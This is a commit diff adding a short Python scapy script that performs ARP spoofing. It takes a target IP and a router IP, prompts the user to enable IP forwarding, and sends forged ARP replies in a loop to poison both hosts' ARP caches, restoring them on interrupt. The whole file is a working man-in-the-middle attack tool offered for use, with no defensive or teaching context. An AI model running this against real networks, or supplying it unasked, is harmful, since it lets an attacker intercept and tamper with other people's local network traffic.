1
+ #!/usr/bin/env python
2
+
3
+ import scapy .all as scapy
4
+ import time
5
+ import subprocess
6
+ import sys
7
+
8
+ targetip = input ("[-] Enter the target ip > " )
9
+ spoofip = input ("[-] Enter router's ip > " )
10
+ print ("[+] Run in Python3 " )
11
+
12
+ print ("[+] enableing prot forwarding by running :-" )
13
+ print ("echo 1 > /proc/sys/net/ipv4/ip_forward" )
14
+
15
+ def get_mac (ip ):
16
+ arp_request = scapy .ARP (pdst = ip )
17
+ broadcast = scapy .Ether (dst = "ff:ff:ff:ff:ff:ff" )
18
+ arp_request_broadcast = broadcast / arp_request
19
+ answerd_list = scapy .srp (arp_request_broadcast , timeout = 1 ,verbose = False )[0 ] # v2
20
+ return answerd_list [0 ][1 ].hwsrc
21
+
22
+ def spoof (targetip , spoofip ):
23
+ targetmac = get_mac (targetip )
24
+ packet = scapy .ARP (op = 2 ,pdst = targetip ,hwdst = targetmac ,psrc = spoofip )
25
+ scapy .send (packet ,verbose = False )
26
+
27
+
28
+ def restore (dest_ip ,src_ip ):
29
+ dst_mac = get_mac (dest_ip )
30
+ src_mac = get_mac (src_ip )
31
+ packet = scapy .ARP (op = 2 ,pdst = dest_ip , hwdst = dst_mac , psrc = src_ip )
32
+ scapy .send (packet ,count = 4 ,verbose = False )
33
+ try :
34
+ sent_packets_count = 0
35
+ while True :
36
+ spoof (targetip ,spoofip )
37
+ spoof (spoofip ,targetip )
38
+ sent_packets_count = sent_packets_count + 2
39
+ print ("\r [+] Packet's Count : " + str (sent_packets_count ),end = "" )
40
+ time .sleep (2 )
41
+
42
+ except KeyboardInterrupt :
43
+ print ("[+] Restoreing arp table at the targets ...." )
44
+ restore (targetip ,spoofip )
45
+ restore (spoofip ,targetip )
46
+ print ("[-] BYE :)" )
0 commit comments